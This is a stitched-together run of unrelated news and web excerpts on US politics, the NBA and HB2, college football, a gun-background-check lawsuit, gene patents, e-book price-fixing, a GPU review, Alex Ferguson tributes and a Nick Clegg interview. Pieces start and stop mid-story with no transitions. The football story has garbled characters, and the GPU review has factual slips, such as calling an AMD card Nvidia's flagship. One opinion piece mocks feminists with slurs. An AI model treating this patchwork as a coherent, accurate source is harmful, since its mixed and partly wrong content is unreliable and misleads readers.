GOP strategists say Obama has shown weak leadership in response to threat posed by extremist Sunni militants in Iraq but caution the issue is not a political winner for Republicans.
Mackowiak said the Iraq war is “generally” a problem for their side.
“I don’t think Iraq is helpful to the Republican Party. I don’t think that issue is,” he said. “It’s now an issue that’s both not good for Republicans and not good for Democrats.”
For this reason, most Republicans have been wary about criticizing Obama’s cautious response to the string of military victories won by extremist Sunni militants formerly affiliated with al Qaeda.
A handful of Senate Republicans such as Sens. John McCain John Sidney McCainGOP lobbyists worry Trump lags in K Street fundraising Mark Kelly kicks off Senate bid: ‘A mission to lift up hardworking Arizonans’ Gabbard hits back at Meghan McCain after fight over Assad MORE (R-Ariz.) and Lindsey Graham Lindsey Olin GrahamHouse to push back at Trump on border Trump pressures GOP senators ahead of emergency declaration vote: 'Be strong and smart' This week: Congress, Trump set for showdown on emergency declaration MORE (R-S.C.), however, have framed the rise of the Islamic State in Iraq and Syria (ISIS) as a serious national security threat. They have called for an aggressive military response short of putting a large contingent of U.S. troops back in Iraq.
But for the most part, GOP lawmakers have hesitated to lay out their own detailed roadmap, instead putting the onus on the president.
When that state passed bill HB2, commonly called “the bathroom law,” the NBA owners and Adam Silver rightfully drew a line in the sand and said, in so many words, “we’re not bringing our All-Star Game to your city if that discriminatory law is on the books.” Of course, there was no way a Republican-controlled legislator and governor were going to cave on a red meat issue for their base like that one in an election year. So the NBA joined numerous businesses that pulled out of the state, as well as some musical acts planning concerts, and took their business elsewhere.
Right now, the Texas legislature is considering a similar bill.
Houston is considered a frontrunner to land the 2020 or 2021 All-Star Game, the NBA has opened the application process for those games and Houston is interested.
Could the bill kill Houston’s application before it even gets to NBA Commissioner Adam Silver’s desk? Silver is too smart a lawyer and negotiator to box himself in a corner and say there is no way Houston gets the All-Star Game if the law passes, but he made it clear it could.
“You know, I’m not ready to draw bright lines. Clearly, though, the laws of the state, ordinances, and cities are a factor we look at in deciding where to play our All-Star Games,” Silver said at his annual All-Star Weekend press conference.
“I think the issue is we’d have to look at the specific legislation and understand its impact. I mean, I’m not ready to stand here today and say that that is the bright line test for whether or not we will play All-Star Games in Texas. It’s something we’re, of course, going to monitor very closely. What we’ve stated is that our values, our league-wide values in terms of equality and inclusion are paramount to this league and all the members of the NBA family, and I think those jurisdictions that are considering legislation similar to HB2 are on notice that that is an important factor for us. Those values are an important factor for us in deciding where we take a special event like an All-Star Game.”
The 2018 NBA All-Star Game is headed to Los Angeles, and there is no concern that California is going to pass such a law. The 2019 game is officially unscheduled right now, but the NBA’s hope is to give it to Charlotte if HB2 is rolled back or eliminated. The uproar over the law is part of the reason the former governor Pat McCrory lost his re-election bid last November to Democratic challenger Roy Cooper.
“I have talked to Governor Cooper, the new Governor of North Carolina since he was elected, really to express our desire to return to North Carolina [in 2019] for our All-Star Game,” Silver said. “We have a team in North Carolina. We have a development team, soon to be a G-League team, in North Carolina. And 20 other teams will visit North Carolina this season. So we’d very much like to get back there.
“We had a discussion so I understood, certainly, his position, when he was running for office, was anti-HB2, the bill that ultimately led to our leaving. So I really was talking to him more to understand, from his standpoint, how he was hoping to move forward in terms of changing that law. My pain purpose of talking to him was to express our desire to return.”
The HB2 law covered a variety of issues, but what drew the most attention was that it restricts transgender bathroom use — you have to use the bathroom for the gender with which you were born. The law also superseded anti-discrimination ordinances put in by the city of Charlotte and other North Carolina cities, laws that tried to block discrimination against gays and lesbians.
�I ate a lot of food,� he said, estimating his intake during the offseason at �7,000 calories a day�.
Yet the Oregon junior defensive lineman supplemented his meals with a workout plan designed by strength and conditioning coach Jim Radcliffe.
�Coach Rad is amazing,� said Kamp, reiterating the words that Oregon athletes have been saying for three decades. �I followed his formula, and it worked out.�
Kamp added 32 pounds in the offseason to begin this year at 290 pounds. He was primarily a defensive end during his first three years with the Ducks before starting this season as the backup nose guard.
�I had to get bigger to play in the middle but stay small enough so I can still play on the end,� Kamp said.
That turned out to be a good decision for Kamp, who has gone back and forth between those positions as needed this season. He started in victories over UCLA and California at defensive end when Arik Armstead was out with an ankle injury.
�Sam Kamp has been a very pleasant surprise,� Oregon defensive coordinator Don Pellum said. �I�m very happy with Sam�s performance and happy for Sam because he has worked so hard. He came in as a defensive end and all of a sudden he�s playing inside and performing well. He gives the team a boost. We have a little more depth on the defensive front. Sam is very smart so he can play any of those positions.�
Kamp is listed as the backup at nose guard and defensive end this week as the fifth-ranked Ducks (8-1) prepare to visit No. 20 Utah (6-2) on Saturday night. He said moving along the line is mostly a physical adjustment.
�There are a lot of similarities between end and nose guard,� Kamp, a 6-foot-4 native of Mesa, Ariz. said. �Not a lot of people realize it�s kind of the same thing down the line. Nose guard is a little tougher because you�re getting banged around the entire game. Defensive end is a little faster pace. Transitioning between those spots is basically just knowledge and experience on the defense.�
Kamp has adjusted to playing at a heavier weight to take a pounding on the line.
�It took a while to get used to it, but at this point of the season, I feel great,� he said.
Kamp played sparingly as a freshman and last year he came off the bench in 11 games to get nine tackles.
He has appeared in all nine games this season and has 16 tackles, the most of any reserve on the line. Kamp has nine tackles in the past four games as his playing time has increased while Armstead battles an injury.
Coaches have praised Kamp�s consistency, and he credits that to a former teammate.
�I learned from the best, Taylor Hart,� Kamp said of the former three-year starter at Oregon who now plays for the Philadelphia Eagles. �He�s probably the most consistent person in the entire world. Having the mentality to wake up early, go to bed early and be focused not on what everyone else is doing but what you are doing to be better.�
Kamp said he got better by working on his technique.
�The most improvement for me is just staying low,� he said. �I think I�m more prepared this year and I just got better in every facet. Last year, I could have done it, but I am happy it came now.�
With Armstead, DeForest Buckner, and Alex Balducci starting on the line, Kamp has given Oregon depth along with Tui Talia, T.J. Daniel and Henry Mondeaux.
�I knew eventually I would get my opportunity,� Kamp said. �We have so many talented guys that have come in and been ahead of me, and they deserve their spots. Arik and DeForest are amazing, physically dominant players. I�m ready to play when they go down or when they need a break. I�ve been working hard since I got here and I just finally got the opportunity.�
Robert Earl Rowe pled guilty to possession of a deadly weapon in San Bernardino, California, and was sentenced to six months of probation, but after just three was granted early discharge and withdrawal of his plea in August 1978. His crime was deemed a misdemeanor and didn’t stop him from becoming a probation officer in Delaware for 31 years. As a retired law enforcement officer, he has a Delaware concealed carry permit and, under a 2004 federal law, can carry in all 50 states.
However, according to the Federal Bureau of Investigation’s National Instant Criminal Background Check System, he is a prohibited possessor and was denied the ability to purchase a firearm from a dealer with a Federal Firearms License in October 2015.
Appealing his denial, he was informed that the “NICS Section is currently processing cases received in June 2015” inferring that he could expect a significant delay before his case came up for review. In reality, the delay could be much longer as the government has since ceased working on old appeals.
In January 2016, the NICS appeals website indicated the appeals services team was still processing paperwork received in June 2015. When Guns.com checked again six months later, the website showed it was processing appeal cases received in July 2015. Last month the agency removed appeals waiting period information from its website altogether.
With reasonable recourse denied, Rowe filed suit against the government in the U.S. District Court for the District of Columbia last week, citing violations of his Second Amendment rights. Included with his court documents is a notification that he received in 1981 from the Bureau of Alcohol, Tobacco, Firearms and Explosives notifying him they had received his paperwork concerning his previous misdemeanor crime and that he had been relieved of any federal firearms prohibitions, pointing to an outstanding error in his file going back over three decades.
“Regardless of whether NICS is processing appeals or not, Plaintiff has a statutory right … to file this suit to force Defendant to correct its records and transfer the firearm,” notes the filing from Rowe’s attorney Stephen D. Stamboulieh who has brought several other NICS denial cases to the court.
“As the ‘appeals’ process with NICS slows to a halt, people are left with no choice but to vindicate their rights in court,” observed Stamboulieh in a similar case.
USA Today has a big, front-page story today reporting that the "number of federal workers earning $150,000 or more a year has soared tenfold in the past five years and doubled since President Obama took office."
The piece provides a lot of useful numbers, but is short on context. As written, headlined, and positioned in the paper (the biggest story in the paper today), I'm concerned that the story will be used primarily as ammunition to argue that federal workers are overpaid.
First, some of the key numbers in the piece are not adjusted for inflation. The chart accompanying the text shows the share of workers who made more than $150,000 per year in 2005 --in 2005 dollars-- and then shows the share who made more that $150,000 per year in 2010 --in 2010 dollars. Even if federal salaries had not increased at all in inflation-adjusted terms over those years, salaries would have been about 12 percent higher in 2010 than they were in 2005 (that was how much inflation there was between 2005 and 2010). This would have pushed workers who were as much as 12 percent below each of the various salary cutoffs above those cutoffs, even if there had been no increase in their after-inflation pay. This effect may or may not be important here, but it is impossible to tell from these data. At the very least, USA Today should have noted that the figure did not adjust for inflation.
Second, the piece does not provide any comparison with the private sector. Federal workers make up a small share of the total US workforce --about 2.1 million workers out of a total civilian workforce of about 139 million in 2010. As USA Today reports, currently about 3.9 percent of federal workers earn more than $150,000 per year. The report does not mention, however, that this is very close to the figure for the economy as a whole. According to Social Security records, in 2009 (the most recent year available), 3.2 percent of workers earned more than $150,000. The small difference here is particularly remarkable given that federal workers are both substantially better educated (more college degree holders, more advanced degree holders) and older than the average private-sector worker.
Third, even the numbers that do make comparisons with the private sector (and appropriately adjust for inflation) place more emphasis on the higher pay increases for federal workers than on their relatively low starting point. As the story mentions, only 0.4 percent of federal workers in 2005 earned more than $150,000 per year. In that same year, according to Social Security records, 1.7 percent of all workers were in that range . On its face, it seems plausible that first the Bush administration and then the Obama administration have only acted to close the gap between federal pay and the rest of the economy. This is almost certainly the case, for example, with medical doctors. As USA Today notes: "Medical doctors at veterans hospitals, prisons and elsewhere earn an average of $179,500, up from $111,000 in 2005." In 2005, $111,000 was a very unattractive salary for a medical doctor; $179,500 today is much more competitive with private-sector doctors, but still low for experienced doctors, especially those in higher-paying specialties.
On another foreign policy matter, Trump warned against being quick to pin the blame on Russia for the hacking of U.S. emails. The Washington Post also reported on Friday that Moscow could be behind intrusion into a laptop owned by a Vermont electric utility.
U.S. intelligence officials have said that they are confident Russia was behind the hacks of political figures, which could have played a role in Trump's defeat over Democratic presidential candidate Hillary Clinton.
"I think it's unfair if we don't know. It could be somebody else. I also know things that other people don't know so we cannot be sure," Trump said.
Asked what that information included, the Republican President-elect said, "You will find out on Tuesday or Wednesday."
He did not elaborate.
But he said that any computer is subject to hacks.
"It's very important. If you have something really important write it out and have it delivered by courier the old fashioned way," Trump said, adding, "No computer is safe, I don't care what they say."
Trump tried to end the year on a positive note, however, despite questions about the future of U.S.-Russia relations because of escalating tensions between Obama and Russian President Vladimir Putin, as well as Trump's promise to crack down on China's trade practices, which he says unfairly target American workers.
"Hopefully we're going to have great relationships with many countries and that includes Russia and that includes China," Trump said.
But he criticized U.S. Secretary of State John Kerry for earlier this week offering a stark assessment of Israel's policies in the Middle East, which he said could threaten the possibility of establishing a Palestinian state co-existing with Israel.
Trump called Kerry's speech "very unfair."
As he wrapped up a four-minute informal chat with reporters, Trump also was asked what his 2017 new year's resolution was.
Russian Deputy Prime Minister Igor Sechin Caracas and Moscow have signed arms contracts, and are looking to extend bilateral co-operation on energy. Russian Deputy Prime Minister Igor Sechin, in Caracas last week, said five Russian oil firms were looking to begin operations in Venezuela. Venezuelan President Hugo Chavez, who will visit Moscow this week, said on Sunday that Latin America needed a strong friendship with Russia to help reduce Washington's influence in the region. A staunch critic of the US, he backed Russian intervention in Georgia last month and has accused Washington of being scared of Moscow's "new world potential". Mr Sechin also warned the US not to view Latin America as its own backyard. "It would be wrong to talk about one nation having exclusive rights to this zone," he told the Associated Press. During the Cold War, Latin America became an ideological battleground between the US and the then USSR.
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A district court judge in the United States has ruled that patents should not have been awarded over the breast and ovarian cancer genes BRCA1 and 2.
The decision raises serious concerns about whether patents should be awarded on human and other genes and proteins found in nature.
It is the first time a court has found patents on genes unlawful and calls into question the validity of patents now held on about 2,000 human genes.
The case, brought by the American Civil Liberties Union (ACLU), was prompted by the actions of patent owner Myriad Genetics who claims the exclusive right to test for BRCA1 and BRCA2.
The tests show whether a woman is more susceptible to developing breast and ovarian cancer.
ACLU attorney Chris Hansen said: "Today's ruling is a victory for the free flow of ideas in scientific research."
Myriad Genetics charges women in the US around $3,700 for the test and the company does not allow second opinions.
The exclusive licence for the tests in Australia is owned by Genetic Technologies Limited which has "gifted" its intellectual property rights to Australian institutions and does not impose royalties here.
In 2003 and 2008, however, Genetic Technologies Limited sent legal letters to Westmead Hospital and the Peter MacCallum Cancer Institute in Victoria to cease testing for the BRCA1 and 2 genes.
In the district court in New York, Judge Robert Sweet found that certain respects of the seven patents awarded over the human genes are invalid.
Judge Sweet found that removing the gene from its natural environment, the body, is not sufficiently different to what is found in nature, therefore such processes are a "discovery" and not an "invention", making any patent invalid.
On the diagnostic side, the judgment also says the use of the gene material in the test does not make the test patentable.
There is no transformation that happens to the biological materials themselves that means the company can claim an "invention" and therefore be awarded a patent over the genes.
Myriad Genetics has yet to announce whether it will appeal the decision.
In Australia, a Senate inquiry into gene patents is expected to report in June.
It has heard evidence from both sides of the argument including from Australia's biotech industry, which says any moves to ban patents on genes will be disastrous for investment and the biotech industry as a whole.
Topics: cloning-and-dna, law-crime-and-justice, courts-and-trials, science-and-technology, biotechnology, genetics, research, united-states, australia
And then there are the so-called feminists.
For most normal people, a nail polish that can detect if a drink has been spiked is something to celebrate — but then, feminazis can’t think about anything unless they’re making sure it’s been agenda-tested first. Does this make us angry? Yes. Does it make us come across as bitter hags? Yes. Does it give us a reason to blame men and further perpetuate our image as misandrists? Yes. It’s a winner!
Feministing made sure to tell women to stop getting so excited, because this is like, totes not a big deal at all. Stupid men.
Thanks to four male college students from North Carolina State University, you may soon be able to buy some nail polish that detects date rape drugs to go with your anti-rape underwear. Throw in your rape whistle and pepper spray camera, and you might be able to delude yourself into believing you’re 100% safe from sexual violence. … Actually, date rape drugs, like Rohypnol, Xanax, and GHB, are not used to facilitate sexual assault all that often. While exact estimates vary, it’s safe to say that plain old alcohol is the substance most commonly used in drug-facilitated rape. Are you at all worried that by overstating the prevalence of date rape drugs, your product might give its users, who are no less likely to become victims of other kinds of sexual assault, a false sense of security? And given that your product only addresses a relatively tiny subsection of the sexual violence in this country, do you have any plans to donate your profits to help protect the remainder of the 18 percent? … Do you know the definition of “empowering“? It involves giving someone the power to do something. “Giving” is not synonymous with “selling.” More importantly, do you know the definition of “prevent”? It is not synonymous with “avoid.” Personally avoiding sexual assault — or one particular, rather uncommon type of sexual assault — is not the same as preventing sexual assault. I’m not against the former, but I personally prefer to donate to folks working to do the latter. And I’m not so into a company that raises money by conflating the two.
And even though it’s, like, obviously not going to work, they want it to be free anyway. Because, you know, feminism.
Think Progress was pretty angry over this too, because somehow, giving women a tool to protect themselves from rape is rape culture, or something.
“I think that anything that can help reduce sexual violence from happening is, in some ways, a really good thing,” Tracey Vitchers, the board chair for Students Active For Ending Rape (SAFER), told ThinkProgress. “But I think we need to think critically about why we keep placing the responsibility for preventing sexual assault on young women.” Women are already expected to work hard to prevent themselves from becoming the victims of sexual assault. They’re told to avoid wearing revealing clothing, travel in groups, make sure they don’t get too drunk, and always keep a close eye on their drink. Now, remembering to put on anti-rape nail polish and discretely slip a finger into each drink might be added to that ever-growing checklist — something that actually reinforces a pervasive rape culture in our society. “One of the ways that rape is used as a tool to control people is by limiting their behavior,” Rebecca Nagle, one of the co-directors of an activist group called FORCE: Upsetting Rape Culture that challenges the societal norms around sexual assault, explained. “As a woman, I’m told not to go out alone at night, to watch my drink, to do all of these things. That way, rape isn’t just controlling me while I’m actually being assaulted — it controls me 24/7 because it limits my behavior. Solutions like these actually just recreate that. I don’t want to fucking test my drink when I’m at the bar. That’s not the world I want to live in.”
Guess what, Ms. Nagle? It’s not the world anyone wants to live in. Shocking, I know. But most people (who aren’t complete morons) understand that we have to actually live in the world that exists, and not the fantasy world that we wish existed. People rape other people. They also steal from them, beat them up, and kill them. Humanity is not perfect, and it never will be. Rape is also not going to go away, no matter how much brainwashing “educating” we do. It’s somewhat shocking that an adult woman, director of an organization that aims to prevent rape, would actually be pitching a hissy fit that she has to put up with living in a reality that doesn’t fit into her idealized fantasy dream world. What are we now? 12?
Not all of them hated this nail polish, of course. But even the femisogynists that applauded the polish still had to get their little rape culture barbs in — Bustle, for example, called the nail polish awesome, but had to make sure to continue the lie that men can be taught not to rape. Salon kinda-sorta approved of the nail polish, but their response was lukewarm at best, and they made sure to promote the educate-the-rape-out-of-men lie, saying, there’s room for skepticism about a rape prevention method that aims to deter assaults through more fear and stigma — albeit stigma attached to committing sexual assault, not to surviving it — instead of through education.
For people that claim to want to empower women, the so-called feminists sure do seem to have a problem with women being knowledgeable and capable of defending themselves. Remember what happened when Miss Nevada, Nia Sanchez, advocated for self-defense during the Miss USA pageant? The femisogynists had a complete and total meltdown, because heaven forbid women should be able to defend themselves if a rapist tried to attack them! Women shouldn’t have to defend themselves from rape, they whined. Well, sure. Again, in a perfect fantasy world, that would be true. Unfortunately though, we live in the real world, and as such, we should prepare accordingly. It would be fantastic if no one had to worry about being mugged or robbed or assaulted or raped or murdered. Those things happen though, they will continue to happen, and they will never stop happening. It’s a tragic reality, but it is reality.
Think about what femisogynists are really arguing for here, too: for women to remain helpless victims at the mercy of men who must decide whether or not they feel like exerting self-control and not raping them. How does that make any sense?! We should “educate” men to not rape — because every man has a rapist hiding inside him, right? — and then if that doesn’t work, women should just cower in fear and hope a police officer comes along to save them. Feminism!
Most men find rape abhorrent and horrific. It’s extremely offensive to tar all men with the rapist brush, because most men despise rape and will never, ever rape someone. But there will always be monsters that exist, both male and female, that steal and rape and kill. You can’t educate or hashtag the evil out of a monster. And RAINN (the Rape, Abuse, and Incest National Network), the foremost organization dedicated to the prevention of rape and sexual assault, agreed. They put out a press release recently which slamming the idea of rape culture and that we need to educate the rapist out of men, saying, it is important to not lose sight of a simple fact: Rape is caused not by cultural factors but by the conscious decisions, of a small percentage of the community, to commit a violent crime.
Three major U.S. e-book publishers have agreed to a deal that will see them pay a significant sum for alleged e-book price-fixing.
Connecticut State Attorney General George Jepsen yesterday announced that he, "along with 54 attorneys general in other states, districts, and U.S. territories," have signed a $69 million deal with Hachette Book Group, HarperCollins Publishers, and Simon & Schuster (which is owned by CBS, the same company that publishes CNET) to settle antitrust claims over an alleged conspiracy to artificially inflate e-book prices.
"While publishers are entitled to their profits, consumers are equally entitled to a fair and open marketplace," Attorney General Jepsen said today in a statement. "This settlement will provide restitution to those customers who were harmed by this price-fixing scheme, but it also will restore competition in the eBook market for consumers' long-term benefit."
Apple, which has also been cited in the federal government's investigation into the matter, did not settle with the attorneys general. Macmillan and Penguin also declined to settle with the attorneys general.
Earlier this year, the Justice Department announced that it was taking action against Apple and e-book publishers over instituting the so-called "agency model," allowing publishers to set the price on their titles. The move resulted in higher e-book pricing and quickly caught the attention of law-enforcement officials. Prior to the institution of the agency model, Amazon was selling e-books much closer to their wholesale price.
Apple co-founder Steve Jobs might have inadvertently called more attention to the agency model by telling his biographer Walter Isaacson last year that he offered the agency model -- and subsequent higher pricing -- to publishers.
"We told the publishers, 'We'll go to the agency model, where you set the price, and we get our 30%, and yes, the customer pays a little more, but that's what you want anyway," Jobs told his biographer. "They went to Amazon and said, 'You're going to sign an agency contract or we're not going to give you the books.'"
Under the terms of this deal, the companies will pay consumers affected by the agency pricing 30 days after it's approved by the court. The consumers that will receive the cash made e-book purchases from the companies between April 1, 2010 and May 21, 2012, according to Jepsen.
Lucky, the (former) Greenpoint bodega kitten (John Del Signore/Gothamist)
In this daring documentary, the intrepid Internets Celebrities video crew travels to the most exotic bodegas in New York City to bring back rare footage of the establishments' ferocious yet furry guardians. As the Planet Earth-esque narration explains, "Every bodega cat has unique markings, unique personality, unique whiskers. The bodega is their terrain. It is an urban outpost, and they are the sentries."
The video provides an intimate look into the daily lives of these remarkable beasts, seldom seen in civilization. In one fascinating segment, the narrator intones that "a busy day of watching over foodstuffs has made the bodega cat tired, ready for rest. First, they must replenish their energy with a drink from the watering hole." [The toilet!] "The bodega cat has a noble task. It hunts rodents and stops them from nibbling at the processed foods of this fine establishment. Wait! Is that a mouse?! No, it's just a shoelace. But if it had been vermin, it would have been captured.
Details are scarce, but the invite (and the Tech World site) both state that we will get to “watch Moto transform mobile in a snap.” That could be something camera-related, but it more than likely is in reference to modularity and “snapping” items onto those pins on the back of the phones we saw from earlier. It’s tough to say what kinds of modules you could attach to the back of the lower portion of a phone, but it could be things like a better external speaker, battery pack, or camera grip, similar to what we saw with the LG G5.
Other teasers for the conference mention new products that will “make your life better…connect your world…let you do more…help you realize your dreams.” Those are lofty, fluffy descriptors, so I wouldn’t put too much into them. I think the focus here is on Project Tango finally becoming a reality in phone form and new Moto phones bringing forth the modular mojo.
With the Project Tango phone, I don’t know that we have a clear understanding of whether or not Lenovo plans to make this some sort of consumer device. The technology is about room scaling and mapping, motion detection, and depth measuring, but maybe they’ll surprise us with the ultimate VR-creating, virtual gaming, live experience that we can’t live without.
Excited yet? There will be a live stream on June 9 for all to see, plus we’ll be in attendance.
EDIT: Confused Project Tango with Project Ara and have edited post to fix.
If you don't know the name: In the comics Savitar is a Cold War pilot test pilot who is struck by lightning during a flight mission. His name comes from the Hindu "god of motion" and he has an obsession with speed - enough so that he's the leader of a cult. He's battled other good guy speedsters like Johnny Quick and Max Mercury, and the Wally West version of the Flash, trying to steal their speed and transfer it to his followers, creating a speedster army under his command.
Season 3 of The Flash introduces the new "Flashpoint" continuity created by Barry Allen's decision alter the timeline and save his mother. In addition to seeing new heroes (like the Wally West version of The (kid) Flash, it would be expected that a new dark speedster would also be part of Flashpoint's New Deal. Now we know who it is.
#TheFlash's Season 3 dark speedster is #Savitar. #TCA16
— Chris E. Hayner (@ChrisHayner) August 11, 2016
The army experts are inspecting some 1,000 used M1A1 Abrams tanks with a view to selecting 400 that Greece could purchase from the US Army. Sources said that Greece had made a request to purchase some of this stock of tanks last year but Washington turned it down. But the US now seems in favor of a deal. The experts will have to make a recommendation to the Government Council for Foreign Affairs and Defense (KYSEA) on whether Athens should proceed with the agreement or not.
Finally we get down to the real meat of this review, the assorted performance benchmarks of the AMD Radeon R9 Fury X and associated notes about how they compare to other GPU’s and mainly to the Nvidia 980 Ti.
As you’ll see reading through these, the test data show that the R9 Fury X is definitely a solid, high end GPU which offers a genuinely good performance with 1440p ultra HD graphics at decent frame rates and full 4K graphics at pretty good frame rates (though not 60fps) on your brand new 4k monitor. Unlike the AMD R9 390X, the Fury X is the true 4K graphics card in AMD’s newest batch of GPUs.
General performance during gameplay
In terms of overall gameplay performance, the R9 Fury X is a very solid performer. Like we already mentioned, this card comes to within 10 to 15% of the peak performance of the Nvidia 980 Ti, sometimes surpassing the competitor card but usually underperforming it at 4K settings.
The Fury X delivers on graphics at decent frame rates and sometimes managed to at least come close to the gold standard 60 frames per second of true 4K PC gaming. However, its real strength seems to lie more with gaming at 1440p resolutions and a full 4K experience is better left to the Titan X or AMD’s Radeon 295X2.
For HD gaming, the Fury X is in fact more than you need, even if you’re a fan of high frame rate HD gameplay and you’re much better off in terms of price with AMD’s also very new 390X/390 GPUs, which are much cheaper than the Fury X and excellent for HD and 1440p 4K gaming. As far as performance against Nvidia’s much older flagship, the formerly top-shelf R9 290X, the Fury X is miles ahead of the former. It delivers at least 50% better performance overall and does so with far less heat generation.
Power Consumption
As far as power consumption goes, the Fury X doesn’t quite perform at the nominal figure of 375 watts listed as part of its official specs. However, neither does it go drastically over this amount except under testing with the highest levels of stress.
For idle performance, we’re seeing average wattage that can vary quite a bit, but apparently no more than between 25 and 79 watts, with an average of roughly 45 watts. These are decent figures and compare very nicely against those of the GTX 980 Ti, which can average in the same range.
However, at full load power consumption during gameplay, the Fury X outdoes its own supposed power usage of 375 watts or at least sometimes. It uses up about 380 watts on average but can dip down to 340 watts or peak to a high of 449 watts. In comparison to the average of 360 to 400 watts for the 980 Ti, this is still a high power load but not as bad as what other AMD cards have been known to use.
b> Heat generation
Heat generation has been a problem in previous AMD GPUs and the company has now made some serious efforts to combat this in their latest cards. The 390X and Fury X both manage to perform better than the 290X or even the 295X2 from AMD in this regard and they do so partly due to superior cooling structures and, in the Fury X’s case, due to a much more efficient, compact design.
Here, the Fury X, thanks largely to its own built-in cooling system, manages idle temperatures of just 29 to 35 degrees Celsius and under heavy load testing conditions quickly (within about 12 to 15 minutes) reaches absolute peak temperatures of between 55 and 65 degrees Celsius. Quite frankly, these are great temperature performance benchmarks and definitely better than those of both the AMD 390X, which isn’t even a 4K GPU and the Nvidia GTX 980 Ti, which is known to perform well at temperature generation.
Noise generation
The Fury X is not a particularly noisy card, and though it grumbles a bit, AMD has definitely improved its noise-making under load conditions from the roar of the old 290X card from early days.
How many Monday-morning winks and smiles upon entering school or the workplace, how many passionate arguments, how many pumped fists (or fists hit off walls for those not fortunate enough to be Red), how many moments where you just lost it, threw your head back and thought 'I am alive. This is f------ living’.
2. BUSINESS INSIDER - The 15 Best GIFs of Sir Alex Ferguson Show Why He'll Be Missed
Sir Alex Ferguson was often quiet and reserved, he also could erupt at any moment. And if you watched Fergie enough you would eventually see the entire range of human emotions.
And that may be why he will be missed by so many. He was not animated just for the sake of being animated. But when the time was right, emotions poured freely.
3. 101 GREAT GOALS - Sir Alex Ferguson’s top 10 moments at Manchester United
How do you sum up the greatest managerial career ever seen in English football? Well, here we like to do video round-ups and the number of Sir Alex Ferguson celebrations and interviews online makes for a difficult list to wade through. The trophies Ferguson has claimed at Old Trafford are simply staggering, 13 Premier League titles, 2 Champions Leagues, 5 FA Cups, 4 League Cups… Simply incredible.
4. WHO SCORED? - Has Sir Alex Ferguson Left His Successor A Special Squad?
Manchester United will undoubtedly be worse off without Sir Alex Ferguson. However, he has timed his departure just about as well as he could have, with the squad he is leaving behind in good stead for a new manager to take charge. Youth and experience are combining well, there are prospects for the future and there is a winning mentality amongst those players. Whoever comes in is well set to extend the reign of dominance that Alex Ferguson enjoyed at Manchester United.
5. MANCHESTER UNITED SUPPORTERS ASSOCIATION OF AUSTRALIA - Fergie's Time: complete and beyond compare
I’ve complete control of my nervous system, faculties and the porcelain need not fear a visit from my freshly digested dinner.
I feel incredibly proud and privileged to have lived through Ferguson’s tenure and full of nothing but respect and gratitude for what he has brought me personally, my Club and fellow fans. That it coincided with the most spectacular, sustained and incomparable era of success a sports team has ever experienced is no fluke or coincidence.
6. STRETTY NEWS - Personal look at the greatest manager of all time, Sir Alex Ferguson
One of my brother's friend's is a PE teacher who works at school in Govan. One day Sir Alex visited and he smiled all day. He loves Govan. Now I have been to Govan it's not Paris or Prague or any beautiful area you can think of, it's a bit of a dump but if you are from there and lived your early life there then it shapes you.
It made Sir Alex self assured, it toughened him up and it gave him a bit of a steely age with a dry wit. That day he had time for all the kids and teachers and was proudly telling them all he was from this area and they can be anything they want to be.
7. THE RISING BLUE - Farewell Sir Alex – a City ‘tribute’
Most City fans look at the side that has proficiently beaten us to the Premier League this season and wonder how it happened. But deep down we know why. Sir Alex Ferguson consistently managed to squeeze the best out of his team – regardless of how good or bad they were. Sure, he built a good team at Old Trafford these last two years but it’s nowhere near his best side, yet their results have been nothing short of impressive. That’s the Sir Alex factor, and that’s why we’re happy he’s going.
8. @BBCSPORF
9. WHO ATE ALL THE PIES - So Long Sir Alex, And Thanks For All The Hats!
10. FTBPRO - Sir Alex Ferguson - An Alternative Tribute
Yet, bar an early and explosive two-part joust with the former leader of UKIP Nigel Farage, the former deputy prime minister played a relatively peripheral role in the immediate run-up to June 23.
He generally confined his campaigning to a local level, knocking on doors and dispensing leaflets in his Sheffield constituency, while letting others hog the national limelight, despite being one of the most vocal and well-known Europhiles in Westminster politics.
"My immediate political history was obvious," the former leader of the Liberal Democrats said when we sat down with him on Wednesday morning. "I'd resigned as party leader and been ejected from office. I didn't seek a prominent role nor did I think it would be right to give me a prominent role."
"The timing was the issue. The referendum took place quite shortly after my government and leadership career had met a fairly abrupt end. I'm not a master of the timing of these things. I wasn't in the strongest position to man the barricades. I did what I was asked to do but didn't seek anymore."
Rebuilding the Liberal Democrats after a party collapse
Clegg resigned as leader in 2015 after witnessing the party collapse at the general election.
The Lib Dems lost 49 seats, having served as the junior partner in the David Cameron-led coalition government. Now, the Sheffield Hallam MP is watching on as his successor Tim Farron attempts to revive the party, its new lifeblood being disgruntled Remainers who feel lost in a party system dominated by a Conservative party determined to deliver Brexit and an opposition struggling to settle on a view about Britain's future outside of the EU.
The party's MPs have vowed to vote against Theresa May blocking Article 50 unless she guarantees a second referendum, this time on the terms of Britain's departure. We suggested to Clegg that trying to block the Article 50 process is neither liberal nor democratic, an accusation he was keen to "flip on its head" and rebuff altogether.
"I think it's impeccably democratic because it would be the first referendum which would allow the people to pass a judgment on what Brexit actually means. I think it's very undemocratic to assume people should simply accept what they're given by the government of the day following the conclusion of a negotiation of which at present we know nothing about and which the government appears to be utterly clueless about.
"If the Brexiteers had spelled out in any detail what they meant by Brexit then I would have some sympathy with the idea that not only have they got a mandate to take us out of the European Union but also a mandate on how to do it," he added.
"It's undemocratic to not give the British people a say at the end of the process just as much as they've been given at the beginning of the process."
"But they've very deliberately and very cynically withheld from the British people any description of what it means in practice. I'd flip it on its head. I'd say it's undemocratic to not give the British people a say at the end of the process just as much as they've been given at the beginning of the process."
May's government continues to enjoy double-figure leads over the Labour in the opinion polls, despite ongoing cabinet fall-outs and continuing uncertainty about her plans for Brexit. However, Clegg believes they are heading for trouble.
"I think this government is one of the most clueless in living memory," Clegg says.
"Theresa May's quite methodical manner and demeanour give an impression of the government somehow knowing what it's doing but I think they are at sixes and sevens. It's one of the most clueless governments I've ever seen.
"They talk to each other and to the media as if all they need to do is resolve the differences around the cabinet table but that's only the first little baby step. They soon have to negotiate with 27 other countries and 27 other parliaments that have their own needs and their own objectives.
"There is this extraordinary hubris in Westminster and Whitehall that all is needed is like when white smoke comes from the Vatican when a pope is anointed to pronounce to the world from her bunker in Number 10. But this is a much more complex, Rubik's cube of negotiations with 27 other countries, and so far I've seen no evidence at all that this government is even vaguely aware of quite how complex and contorted this negotiation can become."
"It's intensely embarrassing having this mop-haired buffoon as our foreign secretary"
